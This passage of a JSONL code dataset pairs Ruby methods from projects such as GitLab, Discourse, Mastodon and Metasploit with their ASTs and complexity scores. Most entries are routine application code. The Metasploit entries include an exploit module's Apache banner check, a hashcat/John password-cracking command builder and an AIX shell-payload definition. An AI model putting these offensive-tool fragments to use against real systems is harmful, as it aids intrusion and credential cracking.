\"]}]}]}","id":"43562c6c-30a7-4496-bf96-4a3c35298bfc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/integrations/propagate_service.rb","start_line":48,"raw_source":"def update_descendant_integrations\n      propagate_integrations(\n        Integration.descendants_from_self_or_ancestors_from(integration),\n        PropagateIntegrationDescendantWorker\n      )\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"update_descendant_integrations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"propagate_integrations\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Integration\"]},\"descendants_from_self_or_ancestors_from\",{\"type\":\"send\",\"children\":[null,\"integration\"]}]},{\"type\":\"const\",\"children\":[null,\"PropagateIntegrationDescendantWorker\"]}]}]}","id":"efcf54cd-c1e5-4327-9b1f-aa9c0515a41d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/trace.rb","start_line":212,"raw_source":"def destroy_any_orphan_trace_data!\n        return unless trace_artifact\n\n        if archived?\n          # An archive file exists, so remove the trace chunks\n          erase_trace_chunks!\n        else\n          # A trace artifact record exists with no archive file\n          # but an archive was attempted, so cleanup the associated record\n          trace_artifact.destroy!\n        end\n      end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy_any_orphan_trace_data!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"trace_artifact\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"archived?\"]},{\"type\":\"send\",\"children\":[null,\"erase_trace_chunks!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"trace_artifact\"]},\"destroy!\"]}]}]}]}","id":"c768d567-c06c-4765-b83c-729e5e55a6c4"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/fasp/provider.rb","start_line":50,"raw_source":"def capabilities_attributes=(attributes)\n    capability_objects = attributes.values.map { |a| Fasp::Capability.new(a) }\n    self[:capabilities] = capability_objects.map(&:attributes)\n  end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"capabilities_attributes=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attributes\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"capability_objects\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"values\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fasp\"]},\"Capability\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"a\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]=\",{\"type\":\"sym\",\"children\":[\"capabilities\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"capability_objects\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"attributes\"]}]}]}]}]}]}","id":"799b2b32-1ef5-4fdc-a70b-463801a14f3f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/migrations/migration_order_mixin.rb","start_line":37,"raw_source":"def load_migration\n            require(File.expand_path(filename))\n\n            name.constantize.new(name, self[:version])\n          end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"load_migration\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"send\",\"children\":[null,\"filename\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"constantize\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"sym\",\"children\":[\"version\"]}]}]}]}]}","id":"42637781-9d63-4128-a7da-a9585cfb8887"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/migration_helpers.rb","start_line":541,"raw_source":"def undo_rename_column_concurrently(table, old, new)\n        trigger_name = rename_trigger_name(table, old, new)\n\n        check_trigger_permissions!(table)\n\n        remove_rename_triggers(table, trigger_name)\n\n        remove_column(table, new)\n      end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"undo_rename_column_concurrently\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table\"]},{\"type\":\"arg\",\"children\":[\"old\"]},{\"type\":\"arg\",\"children\":[\"new\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"trigger_name\",{\"type\":\"send\",\"children\":[null,\"rename_trigger_name\",{\"type\":\"lvar\",\"children\":[\"table\"]},{\"type\":\"lvar\",\"children\":[\"old\"]},{\"type\":\"lvar\",\"children\":[\"new\"]}]}]},{\"type\":\"send\",\"children\":[null,\"check_trigger_permissions!\",{\"type\":\"lvar\",\"children\":[\"table\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_rename_triggers\",{\"type\":\"lvar\",\"children\":[\"table\"]},{\"type\":\"lvar\",\"children\":[\"trigger_name\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"lvar\",\"children\":[\"table\"]},{\"type\":\"lvar\",\"children\":[\"new\"]}]}]}]}","id":"5b672f6d-1f6f-4ccd-900b-75aa78a12d9e"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-reactions/app/controllers/discourse_reactions/custom_reactions_controller.rb","start_line":310,"raw_source":"def translate_to_reactions(likes)\n    likes.map do |like|\n      DiscourseReactions::ReactionUser.new(\n        id: like.id,\n        post: like.post,\n        user: like.user,\n        created_at: like.created_at,\n        reaction:\n          DiscourseReactions::Reaction.new(\n            id: like.id,\n            reaction_type: \"emoji\",\n            post_id: like.post_id,\n            reaction_value: DiscourseReactions::Reaction.main_reaction_id,\n            created_at: like.created_at,\n            reaction_users_count: 1,\n          ),\n      )\n    end\n  end","complexity_score":15.98,"ast_json":"{\"type\":\"def\",\"children\":[\"translate_to_reactions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"likes\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"likes\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"like\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseReactions\"]},\"ReactionUser\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"like\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"like\"]},\"post\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"like\"]},\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"like\"]},\"created_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reaction\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseReactions\"]},\"Reaction\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"like\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reaction_type\"]},{\"type\":\"str\",\"children\":[\"emoji\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"like\"]},\"post_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reaction_value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseReactions\"]},\"Reaction\"]},\"main_reaction_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"like\"]},\"created_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reaction_users_count\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]}]}]}","id":"a9c32827-54aa-4bb5-a359-374675a7fc7d"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/services/spree/webhooks/subscribers/handle_request.rb","start_line":7,"raw_source":"def initialize(event_name:, subscriber:, webhook_payload_body:)\n          @event_name = event_name\n          @subscriber = subscriber\n          @webhook_payload_body = JSON.parse(webhook_payload_body)\n        end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"event_name\"]},{\"type\":\"kwarg\",\"children\":[\"subscriber\"]},{\"type\":\"kwarg\",\"children\":[\"webhook_payload_body\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@event_name\",{\"type\":\"lvar\",\"children\":[\"event_name\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@subscriber\",{\"type\":\"lvar\",\"children\":[\"subscriber\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@webhook_payload_body\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"webhook_payload_body\"]}]}]}]}]}","id":"13043826-3c6b-4f56-81e7-4b43722f5e67"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/apache_mod_rewrite_ldap.rb","start_line":70,"raw_source":"def check\n    res = send_request_raw({\n      'uri' => '/',\n      'version' => '1.1',\n    }, 2)\n\n    if (res.to_s =~ /Apache/) # This could be smarter.\n      return Exploit::CheckCode::Detected\n    end\n\n    return Exploit::CheckCode::Safe\n  end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_raw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"version\"]},{\"type\":\"str\",\"children\":[\"1.1\"]}]}]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"to_s\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Apache\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Detected\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]}","id":"67d04856-e750-406d-bdd4-0d03eac0d46f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/password_crackers/cracker.rb","start_line":562,"raw_source":"def show_command\n          cmd_string = binary_path\n\n          pot_file = pot || john_pot_file\n          if cracker == 'hashcat'\n            cmd = [cmd_string, '--show', '--username', \"--potfile-path=#{pot_file}\", \"--hash-type=#{jtr_format_to_hashcat_format(format)}\"]\n          elsif cracker == 'john'\n            cmd = [cmd_string, '--show', \"--pot=#{pot_file}\", \"--format=#{format}\"]\n\n            if config\n              cmd << \"--config=#{config}\"\n            else\n              cmd << ('--config=' + john_config_file)\n            end\n          end\n          cmd << hash_path\n        end","complexity_score":31.6,"ast_json":"{\"type\":\"def\",\"children\":[\"show_command\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cmd_string\",{\"type\":\"send\",\"children\":[null,\"binary_path\"]}]},{\"type\":\"lvasgn\",\"children\":[\"pot_file\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pot\"]},{\"type\":\"send\",\"children\":[null,\"john_pot_file\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cracker\"]},\"==\",{\"type\":\"str\",\"children\":[\"hashcat\"]}]},{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd_string\"]},{\"type\":\"str\",\"children\":[\"--show\"]},{\"type\":\"str\",\"children\":[\"--username\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"--potfile-path=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pot_file\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"--hash-type=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"jtr_format_to_hashcat_format\",{\"type\":\"send\",\"children\":[null,\"format\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cracker\"]},\"==\",{\"type\":\"str\",\"children\":[\"john\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd_string\"]},{\"type\":\"str\",\"children\":[\"--show\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"--pot=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pot_file\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"--format=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"format\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"--config=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"<<\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"--config=\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"john_config_file\"]}]}]}]}]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"hash_path\"]}]}]}]}","id":"595b5d73-bd99-4e3f-99e5-357e67f203ef"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/aix/ppc/shell_find_port.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super(\n      merge_info(\n        info,\n        'Name' => 'AIX Command Shell, Find Port Inline',\n        'Description' => 'Spawn a shell on an established connection',\n        'Author' => 'Ramon de C Valle',\n        'License' => MSF_LICENSE,\n        'Platform' => 'aix',\n        'Arch' => ARCH_PPC,\n        'Handler' => Msf::Handler::FindPort,\n        'Session' => Msf::Sessions::CommandShellUnix,\n        'Payload' => {\n          'Offsets' =>\n                  {\n                    'CPORT' => [ 106, 'n' ]\n                  }\n        }\n      )\n    )\n  end","complexity_score":3.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"AIX Command Shell, Find Port Inline\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Spawn a shell on an established connection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"Ramon de C Valle\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"aix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PPC\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Handler\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Handler\"]},\"FindPort\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Session\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Sessions\"]},\"CommandShellUnix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Offsets\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"CPORT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[106]},{\"type\":\"str\",\"children\":[\"n\"]}]}]}]}]}]}]}]}]}]}]}","id":"f19d16c4-e6ea-4d14-a533-deaf299473df"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/support/schema_dumping_helper.rb","start_line":19,"raw_source":"def dump_all_table_schema(ignore_tables = [], pool: ActiveRecord::Base.connection_pool)\n    old_ignore_tables, ActiveRecord::SchemaDumper.ignore_tables = ActiveRecord::SchemaDumper.ignore_tables, ignore_tables\n    output, = capture_io do\n      ActiveRecord::SchemaDumper.dump(pool)\n    end\n    output\n  ensure\n    ActiveRecord::SchemaDumper.ignore_tables = old_ignore_tables\n  end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"dump_all_table_schema\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"ignore_tables\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"pool\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection_pool\"]}]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"old_ignore_tables\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"SchemaDumper\"]},\"ignore_tables=\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"SchemaDumper\"]},\"ignore_tables\"]},{\"type\":\"lvar\",\"children\":[\"ignore_tables\"]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"output\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"capture_io\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"SchemaDumper\"]},\"dump\",{\"type\":\"lvar\",\"children\":[\"pool\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"SchemaDumper\"]},\"ignore_tables=\",{\"type\":\"lvar\",\"children\":[\"old_ignore_tables\"]}]}]}]}","id":"60bc8d62-bd35-4fd6-a08b-53673e87967e"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/product/slugs.rb","start_line":88,"raw_source":"def regenerate_slug\n        self.slug = nil\n        save!\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"regenerate_slug\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"slug=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"save!\"]}]}]}","id":"6de5c7be-59bd-484b-8592-e6816e26fead"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/formatter_csv.rb","start_line":42,"raw_source":"def csv_thread_key\n        csv_cacheable? ? \"#{owner.plugin_id}_csv_formatter_#{@usage}_csv\" : nil\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"csv_thread_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"csv_cacheable?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"owner\"]},\"plugin_id\"]}]},{\"type\":\"str\",\"children\":[\"_csv_formatter_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@usage\"]}]},{\"type\":\"str\",\"children\":[\"_csv\"]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"74294740-560c-46f0-82d8-52d645add928"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/helpers/application_helper.rb","start_line":45,"raw_source":"def omniauth_only?\n    ENV['OMNIAUTH_ONLY'] == 'true'\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"omniauth_only?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"OMNIAUTH_ONLY\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"true\"]}]}]}","id":"83300df8-c49e-4c0e-ae8a-84a6926a0ae0"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/container_node.rb","start_line":105,"raw_source":"def external_logging_path\n    node_hostnames = [kubernetes_hostname || name] # node name cannot be empty, it's an ID\n    node_hostnames.push(node_hostnames.first.split('.').first).compact!\n    node_hostnames_query = node_hostnames.uniq.map { |x| \"(term:(hostname:'#{x}'))\" }.join(\",\")\n    query = \"bool:(filter:(or:!(#{node_hostnames_query})))\"\n    index = \".operations.*\"\n    EXTERNAL_LOGGING_PATH % {:index => index, :query => query}\n  end","complexity_score":20.0,"ast_json":"{\"type\":\"def\",\"children\":[\"external_logging_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"node_hostnames\",{\"type\":\"array\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"kubernetes_hostname\"]},{\"type\":\"send\",\"children\":[null,\"name\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node_hostnames\"]},\"push\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node_hostnames\"]},\"first\"]},\"split\",{\"type\":\"str\",\"children\":[\".\"]}]},\"first\"]}]},\"compact!\"]},{\"type\":\"lvasgn\",\"children\":[\"node_hostnames_query\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node_hostnames\"]},\"uniq\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(term:(hostname:'\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]}]},{\"type\":\"str\",\"children\":[\"'))\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"bool:(filter:(or:!(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node_hostnames_query\"]}]},{\"type\":\"str\",\"children\":[\")))\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"index\",{\"type\":\"str\",\"children\":[\".operations.*\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EXTERNAL_LOGGING_PATH\"]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"lvar\",\"children\":[\"index\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"query\"]},{\"type\":\"lvar\",\"children\":[\"query\"]}]}]}]}]}]}","id":"9c46db19-2cb2-4d42-9c18-472334f37c51"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20170425083011_add_deleted_at_to_topic_embeds.rb","start_line":4,"raw_source":"def change\n    add_column :topic_embeds, :deleted_at, :datetime\n    add_column :topic_embeds, :deleted_by_id, :integer, null: true\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"topic_embeds\"]},{\"type\":\"sym\",\"children\":[\"deleted_at\"]},{\"type\":\"sym\",\"children\":[\"datetime\"]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"topic_embeds\"]},{\"type\":\"sym\",\"children\":[\"deleted_by_id\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"46887810-0530-412b-a28d-0357690ae901"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/backup_restore/s3_backup_store.rb","start_line":52,"raw_source":"def generate_upload_url(filename)\n      obj = s3_helper.object(filename)\n      raise BackupFileExists.new if obj.exists?\n\n      @s3_helper.ensure_cors!([S3CorsRulesets::BACKUP_DIRECT_UPLOAD])\n\n      presigned_url(obj, :put, UPLOAD_URL_EXPIRES_AFTER_SECONDS)\n    rescue Aws::Errors::ServiceError => e\n      Rails.logger.warn(\n        \"Failed to generate upload URL for S3: #{e.message.presence || e.class.name}\",\n      )\n      raise StorageError.new(e.message.presence || e.class.name)\n    end","complexity_score":33.9,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_upload_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"obj\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"s3_helper\"]},\"object\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"exists?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BackupFileExists\"]},\"new\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@s3_helper\"]},\"ensure_cors!\",{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"S3CorsRulesets\"]},\"BACKUP_DIRECT_UPL